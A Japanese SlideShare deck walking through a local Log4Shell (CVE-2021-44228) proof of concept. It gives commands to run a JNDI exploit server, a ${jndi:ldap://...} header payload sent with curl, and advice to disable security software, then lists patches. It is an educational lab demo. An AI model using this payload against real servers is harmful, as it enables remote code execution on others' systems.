SlideShare a Scribd company logo
JNDI Injection
Log4j Exploit PoC
VERSION 1.0.0 CREATED BY @tomoaki.tsutsui
脆弱性検証は自己責任で!
この日なんの日
2021-12-09
Log4j脆弱性が全世界に公開された日
2021-12-09
Log4jの脆弱性とは?
今回の脆弱性は「Log4Shell」と呼ばれていて
「別名:CVE-2021-44228」というCVE番号が付与されている脆弱性
Javaの主要なロギングフレームワークである「Log4j」で
発見されたゼロデイの任意コードが実行できる脆弱性
時系列
2021年11月24日 Alibabaのクラウドセキュリティチームによって発見、秘密裏にApacheに報告
2021年12月9日に一般に公開
至急対応依頼が全国に出回る!
影響サービス/代表事例
全世界のlog4j2の以下バージョンを利用しているサービスに影響!
Apache Log4j-core 2.15.0より前の2系のバージョン
※補足:Log4jライブラリは1系と2系で別れており、影響があるのは2系の上記バージョンのみ
(LookUps機能が1系には存在しないため)
MINECRAFT内のチャット機能を
通じて受信者のPCで
任意のコマンドを発行できる
不具合
攻撃手法
今回悪用されたのはLog4jに備わっているLookups機能
Lookups機能の中の1つであるJNDI Lookup機能により攻撃者により任
意のコマンドを実行される可能性がある
Apache Log4j Lookups / Jndi Lookup
攻撃パターン①:LDAPサーバを介する
①悪意のある人が脆弱性のある
アプリへ悪意のあるリクエスト
②脆弱性のあるアプリ内のlog4jライ
ブラリーが動作
③脆弱性のあるアプリから悪意のあ
るLDAPサーバへリクエスト送信
④悪意のあるLDAPサーバからレス
ポンス送信
⑤脆弱性のあるアプリが、不正な
Javaクラスをダウンロード
引用:Zero-Day Exploit Targeting Popular Java Library Log4j
攻撃パターン②:LDAPサーバを介さない
①悪意のある人が脆弱性のある
アプリへ悪意のあるリクエスト
②脆弱性のあるアプリ内のlog4jライ
ブラリーが動作
③脆弱性のあるアプリが、不正な
Javaクラスをダウンロード
④不正なJavaクラスが実行される
引用:Observation of Attacks Targeting Apache Log4j2 RCE Vulnerability (CVE-2021-44228)
POC検証
⚠注意事項
試す際は危険に晒されてもいい個人のPCを準備した上で、
ローカル環境での検証用としてお使いください!
POC検証
■今回の検証環境
・Windows10 home (GitBash上でのコマンド実行)
・Java JDK8
POC検証:STEP1
悪意のあるLDAP/RMI/WEBサーバ、脆弱性を含むJavaアプリ準備
# 作業ディレクトリに移動(例)
cd /d/git/java/log4j-vulnarability
# 悪意のあるLDAP/RMI/WEBサーバ
git clone https://github.com/pimps/JNDI-Exploit-Kit.git
# 脆弱性を含むJavaアプリ
git clone https://github.com/tutttuwi/JNDI-Injection-Target-App.git
POC検証:STEP2
アプリ起動
# 悪意のあるLDAP/RMI/WEBサーバのディレクトリに移動
cd JNDI-Exploit-Kit
# ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す
bash gradlew build
# 悪意のあるサーバの起動 (実行コマンドは calc を指定)
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 127.0.0.1:1389 -J 127.0.0.1:9090 -R
127.0.0.1:1099 -C 'calc'
# 脆弱性を含むJavaアプリディレクトリに移動
cd JNDI-Injection-Target-App
# ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す
bash gradlew build
# 脆弱性を含むJavaアプリ起動 ※補足:システムプロパティ[com.sun.jndi.ldap.object.trustURLCodebase]をtrueにしておく
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/JNDI-Injection-Target-App-0.0.1-
SNAPSHOT.jar
<前提条件>
ローカル環境で起動しているセキュリティソフトを一時的に無効化しておくこと
ネットワーク攻撃/ボット攻撃への保護機能(IDSなど)が動いていると確認ができない
ローカル環境にJavaがインストールされていること
POC検証:STEP3
脆弱性を含むJavaアプリへリクエストの送信
# 脆弱性を含むJavaアプリへリクエスト送信
# 形式:curl [localip:port] -H '[HederName]: ${jndi:[TargetEnvironmentURL]}'
curl 127.0.0.1:8080/jndi-targetapp/info -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/istruy}'
# ▶ここでは悪意のあるサーバ起動時に出力された以下のldapサーバのURLを指定
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/istruy
ldap://127.0.0.1:1389/istruy
POC検証:実行キャプチャ
悪意のあるリクエスト実行前
POC検証:実行キャプチャ
悪意のあるリクエスト実行後
実行処理解説:悪意のあるWebアプリ
アプリ起動
- ServerStart.javaのmainメソッド内でJetty/Ldap/Rmiサーバを起動
- LDAPサーバ:LDAPRefServer.javaのrunメソッドを参照
- RMIサーバ:RMIRefServer.javaのrunメソッドを参照
- JETTYサーバ:JettyServer.javaを参照
- LdapサーバでJettyサーバのURLが返却された際に、脆弱性のあるWebアプリからdoGetメソッドが呼び出され、対
象のJavaクラスが返却される
- Transformers.java
- src/main/resources/template直下に格納されているクラスファイルに、以下のコードを埋め込み、Jettyサーバで返却
できるようにしている
<リポジトリ>
https://github1s.com/pimps/JNDI-Exploit-Kit
実行処理解説:悪意のあるWebアプリ
staticブロックに先ほどのコードが
差し込まれたJavaCodeを脆弱性の
あるWebアプリがダウンロードし
てしまうため、
OSコマンドが実行されてしまう
実行処理解説:脆弱性のあるWebアプリ
log4jの脆弱性対象ライブラリーを
意図的に使用
実行処理解説:脆弱性のあるWebアプリ
コントローラーの設定
- ヘッダー文字列をLog4j2ライブラリでログ出力する
- ※システムプロパティはSpringBoot起動後に変更できないので設定しても意味がないためコメントアウトで
残しています。
本脆弱性を防ぐには
(2021/12/27時点のApacheページより)
恒久対応
- log4j2ライブラリーのバージョンアップ
- java8 の場合、Apache Log4j 2.17.0を利用する
- java7 の場合、Apache Log4j 2.12.3を利用する※java7用に個別対応している
- java6 の場合、Apache Log4j 2.3.1を利用する
暫定対応
- JndiLookup クラスをクラスパスから削除する。
- zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

More Related Content

What's hot

今だからこそ知りたい Docker Compose/Swarm 入門
今だからこそ知りたい Docker Compose/Swarm 入門今だからこそ知りたい Docker Compose/Swarm 入門
今だからこそ知りたい Docker Compose/Swarm 入門
Masahito Zembutsu
 
Keycloak入門
Keycloak入門Keycloak入門
Keycloak入門
Hiroyuki Wada
 
フロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjugフロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjug
Itsuki Kuroda
 
目grep入門 +解説
目grep入門 +解説目grep入門 +解説
目grep入門 +解説
murachue
 
Hololens2 MRTK2.7(OpenXR) でのビルド環境構築(環境設定からビルドまで)
Hololens2 MRTK2.7(OpenXR) でのビルド環境構築(環境設定からビルドまで)Hololens2 MRTK2.7(OpenXR) でのビルド環境構築(環境設定からビルドまで)
Hololens2 MRTK2.7(OpenXR) でのビルド環境構築(環境設定からビルドまで)
聡 大久保
 
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptxネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
Shota Shinogi
 
20160526 依存関係逆転の原則
20160526 依存関係逆転の原則20160526 依存関係逆転の原則
20160526 依存関係逆転の原則
bonjin6770 Kurosawa
 
Azure ADとIdentity管理
Azure ADとIdentity管理Azure ADとIdentity管理
Azure ADとIdentity管理
Naohiro Fujie
 
SFUの話
SFUの話SFUの話
SFUの話
tnoho
 
gitを使って、レポジトリの一部抽出forkしてみました
gitを使って、レポジトリの一部抽出forkしてみましたgitを使って、レポジトリの一部抽出forkしてみました
gitを使って、レポジトリの一部抽出forkしてみました
Takako Miyagawa
 
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
Takuto Wada
 
今なら間に合う分散型IDとEntra Verified ID
今なら間に合う分散型IDとEntra Verified ID今なら間に合う分散型IDとEntra Verified ID
今なら間に合う分散型IDとEntra Verified ID
Naohiro Fujie
 
コンテナの作り方「Dockerは裏方で何をしているのか?」
コンテナの作り方「Dockerは裏方で何をしているのか?」コンテナの作り方「Dockerは裏方で何をしているのか?」
コンテナの作り方「Dockerは裏方で何をしているのか?」
Masahito Zembutsu
 
ゲーム開発環境の自動化
ゲーム開発環境の自動化ゲーム開発環境の自動化
ゲーム開発環境の自動化
Masahiko Nakamura
 
こんなに使える!今どきのAPIドキュメンテーションツール
こんなに使える!今どきのAPIドキュメンテーションツールこんなに使える!今どきのAPIドキュメンテーションツール
こんなに使える!今どきのAPIドキュメンテーションツール
dcubeio
 
Seasar2で作った俺たちのサービスの今
Seasar2で作った俺たちのサービスの今Seasar2で作った俺たちのサービスの今
Seasar2で作った俺たちのサービスの今
Koichi Sakata
 
ソフトウェア開発における『知の高速道路』
ソフトウェア開発における『知の高速道路』ソフトウェア開発における『知の高速道路』
ソフトウェア開発における『知の高速道路』
Yoshitaka Kawashima
 
世界でいちばんわかりやすいドメイン駆動設計
世界でいちばんわかりやすいドメイン駆動設計世界でいちばんわかりやすいドメイン駆動設計
世界でいちばんわかりやすいドメイン駆動設計
増田 亨
 
マイクロサービス 4つの分割アプローチ
マイクロサービス 4つの分割アプローチマイクロサービス 4つの分割アプローチ
マイクロサービス 4つの分割アプローチ
増田 亨
 
GraalVMの多言語実行機能が凄そうだったので試しにApache Sparkに組み込んで動かしてみたけどちょっとまだ早かったかもしれない(Open So...
GraalVMの多言語実行機能が凄そうだったので試しにApache Sparkに組み込んで動かしてみたけどちょっとまだ早かったかもしれない(Open So...GraalVMの多言語実行機能が凄そうだったので試しにApache Sparkに組み込んで動かしてみたけどちょっとまだ早かったかもしれない(Open So...
GraalVMの多言語実行機能が凄そうだったので試しにApache Sparkに組み込んで動かしてみたけどちょっとまだ早かったかもしれない(Open So...
NTT DATA Technology & Innovation
 

What's hot (20)

今だからこそ知りたい Docker Compose/Swarm 入門
今だからこそ知りたい Docker Compose/Swarm 入門今だからこそ知りたい Docker Compose/Swarm 入門
今だからこそ知りたい Docker Compose/Swarm 入門
 
Keycloak入門
Keycloak入門Keycloak入門
Keycloak入門
 
フロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjugフロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjug
 
目grep入門 +解説
目grep入門 +解説目grep入門 +解説
目grep入門 +解説
 
Hololens2 MRTK2.7(OpenXR) でのビルド環境構築(環境設定からビルドまで)
Hololens2 MRTK2.7(OpenXR) でのビルド環境構築(環境設定からビルドまで)Hololens2 MRTK2.7(OpenXR) でのビルド環境構築(環境設定からビルドまで)
Hololens2 MRTK2.7(OpenXR) でのビルド環境構築(環境設定からビルドまで)
 
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptxネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
 
20160526 依存関係逆転の原則
20160526 依存関係逆転の原則20160526 依存関係逆転の原則
20160526 依存関係逆転の原則
 
Azure ADとIdentity管理
Azure ADとIdentity管理Azure ADとIdentity管理
Azure ADとIdentity管理
 
SFUの話
SFUの話SFUの話
SFUの話
 
gitを使って、レポジトリの一部抽出forkしてみました
gitを使って、レポジトリの一部抽出forkしてみましたgitを使って、レポジトリの一部抽出forkしてみました
gitを使って、レポジトリの一部抽出forkしてみました
 
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
 
今なら間に合う分散型IDとEntra Verified ID
今なら間に合う分散型IDとEntra Verified ID今なら間に合う分散型IDとEntra Verified ID
今なら間に合う分散型IDとEntra Verified ID
 
コンテナの作り方「Dockerは裏方で何をしているのか?」
コンテナの作り方「Dockerは裏方で何をしているのか?」コンテナの作り方「Dockerは裏方で何をしているのか?」
コンテナの作り方「Dockerは裏方で何をしているのか?」
 
ゲーム開発環境の自動化
ゲーム開発環境の自動化ゲーム開発環境の自動化
ゲーム開発環境の自動化
 
こんなに使える!今どきのAPIドキュメンテーションツール
こんなに使える!今どきのAPIドキュメンテーションツールこんなに使える!今どきのAPIドキュメンテーションツール
こんなに使える!今どきのAPIドキュメンテーションツール
 
Seasar2で作った俺たちのサービスの今
Seasar2で作った俺たちのサービスの今Seasar2で作った俺たちのサービスの今
Seasar2で作った俺たちのサービスの今
 
ソフトウェア開発における『知の高速道路』
ソフトウェア開発における『知の高速道路』ソフトウェア開発における『知の高速道路』
ソフトウェア開発における『知の高速道路』
 
世界でいちばんわかりやすいドメイン駆動設計
世界でいちばんわかりやすいドメイン駆動設計世界でいちばんわかりやすいドメイン駆動設計
世界でいちばんわかりやすいドメイン駆動設計
 
マイクロサービス 4つの分割アプローチ
マイクロサービス 4つの分割アプローチマイクロサービス 4つの分割アプローチ
マイクロサービス 4つの分割アプローチ
 
GraalVMの多言語実行機能が凄そうだったので試しにApache Sparkに組み込んで動かしてみたけどちょっとまだ早かったかもしれない(Open So...
GraalVMの多言語実行機能が凄そうだったので試しにApache Sparkに組み込んで動かしてみたけどちょっとまだ早かったかもしれない(Open So...GraalVMの多言語実行機能が凄そうだったので試しにApache Sparkに組み込んで動かしてみたけどちょっとまだ早かったかもしれない(Open So...
GraalVMの多言語実行機能が凄そうだったので試しにApache Sparkに組み込んで動かしてみたけどちょっとまだ早かったかもしれない(Open So...
 

Similar to Log4j Exploit PoC

Odl intro20141029
Odl intro20141029Odl intro20141029
Odl intro20141029
NEC Corporation
 
Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/Androidセキュアコーディング
Masaki Kubo
 
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
Hibino Hisashi
 
20150421 Geeks Night @ Money Foward
20150421 Geeks Night @ Money Foward20150421 Geeks Night @ Money Foward
20150421 Geeks Night @ Money Foward
Naoki Shimizu
 
JavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project VisageJavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project VisageYuichi Sakuraba
 
Nv2017 19 (invited) mibu (nec)
Nv2017 19 (invited) mibu (nec)Nv2017 19 (invited) mibu (nec)
Nv2017 19 (invited) mibu (nec)
ssuser3feafb
 
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
Asuka Nakajima
 
Dockerが抱えるネットワークの課題
Dockerが抱えるネットワークの課題Dockerが抱えるネットワークの課題
Dockerが抱えるネットワークの課題
Asuka Suzuki
 
静的解析ツール Klocworkによる 機能安全規格への対応
静的解析ツール Klocworkによる 機能安全規格への対応静的解析ツール Klocworkによる 機能安全規格への対応
静的解析ツール Klocworkによる 機能安全規格への対応
Masaru Horioka
 
First vr sdk_introduction
First vr sdk_introductionFirst vr sdk_introduction
First vr sdk_introduction
SatoshiHosono
 
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
Saki Homma
 
2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF
Atomu Hidaka
 
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorbRuby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
Koichiro Sumi
 
Java in the World of Container by David Buck
Java in the World of Container by David BuckJava in the World of Container by David Buck
Java in the World of Container by David Buck
オラクルエンジニア通信
 
120315 cloud founry_java_ironfoundry
120315 cloud founry_java_ironfoundry120315 cloud founry_java_ironfoundry
120315 cloud founry_java_ironfoundry
Takayoshi Tanaka
 
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
Takahiro YAMADA
 
Keycloakの実際・翻訳プロジェクト紹介
Keycloakの実際・翻訳プロジェクト紹介Keycloakの実際・翻訳プロジェクト紹介
Keycloakの実際・翻訳プロジェクト紹介
Hiroyuki Wada
 
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
QlikPresalesJapan
 
Security Learning Vol2 話題の脆弱性をコードで紐解く!
Security Learning Vol2 話題の脆弱性をコードで紐解く!Security Learning Vol2 話題の脆弱性をコードで紐解く!
Security Learning Vol2 話題の脆弱性をコードで紐解く!
YOJI WATANABE
 
LibreOfficeをビルドしてみよう(Windows)
LibreOfficeをビルドしてみよう(Windows)LibreOfficeをビルドしてみよう(Windows)
LibreOfficeをビルドしてみよう(Windows)
Masataka Kondo
 

Similar to Log4j Exploit PoC (20)

Odl intro20141029
Odl intro20141029Odl intro20141029
Odl intro20141029
 
Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/Androidセキュアコーディング
 
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
 
20150421 Geeks Night @ Money Foward
20150421 Geeks Night @ Money Foward20150421 Geeks Night @ Money Foward
20150421 Geeks Night @ Money Foward
 
JavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project VisageJavaFX & GlassFish 勉強会 Project Visage
JavaFX & GlassFish 勉強会 Project Visage
 
Nv2017 19 (invited) mibu (nec)
Nv2017 19 (invited) mibu (nec)Nv2017 19 (invited) mibu (nec)
Nv2017 19 (invited) mibu (nec)
 
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
[JPCERT/CC POC Meeting] 研究紹介 + DLLハイジャックの脆弱性
 
Dockerが抱えるネットワークの課題
Dockerが抱えるネットワークの課題Dockerが抱えるネットワークの課題
Dockerが抱えるネットワークの課題
 
静的解析ツール Klocworkによる 機能安全規格への対応
静的解析ツール Klocworkによる 機能安全規格への対応静的解析ツール Klocworkによる 機能安全規格への対応
静的解析ツール Klocworkによる 機能安全規格への対応
 
First vr sdk_introduction
First vr sdk_introductionFirst vr sdk_introduction
First vr sdk_introduction
 
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
 
2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF
 
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorbRuby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
Ruby用の静的コード解析ツールざくっと紹介 by SideCI #omotesandorb
 
Java in the World of Container by David Buck
Java in the World of Container by David BuckJava in the World of Container by David Buck
Java in the World of Container by David Buck
 
120315 cloud founry_java_ironfoundry
120315 cloud founry_java_ironfoundry120315 cloud founry_java_ironfoundry
120315 cloud founry_java_ironfoundry
 
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
最適なOpenJDKディストリビューションの選び方 #codetokyo19B3 #ccc_l5
 
Keycloakの実際・翻訳プロジェクト紹介
Keycloakの実際・翻訳プロジェクト紹介Keycloakの実際・翻訳プロジェクト紹介
Keycloakの実際・翻訳プロジェクト紹介
 
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
Qlik Alerting で実現する Qlik Sense Enterprise Client-managed (Windows版) の高度でインテリジ...
 
Security Learning Vol2 話題の脆弱性をコードで紐解く!
Security Learning Vol2 話題の脆弱性をコードで紐解く!Security Learning Vol2 話題の脆弱性をコードで紐解く!
Security Learning Vol2 話題の脆弱性をコードで紐解く!
 
LibreOfficeをビルドしてみよう(Windows)
LibreOfficeをビルドしてみよう(Windows)LibreOfficeをビルドしてみよう(Windows)
LibreOfficeをビルドしてみよう(Windows)
 

Log4j Exploit PoC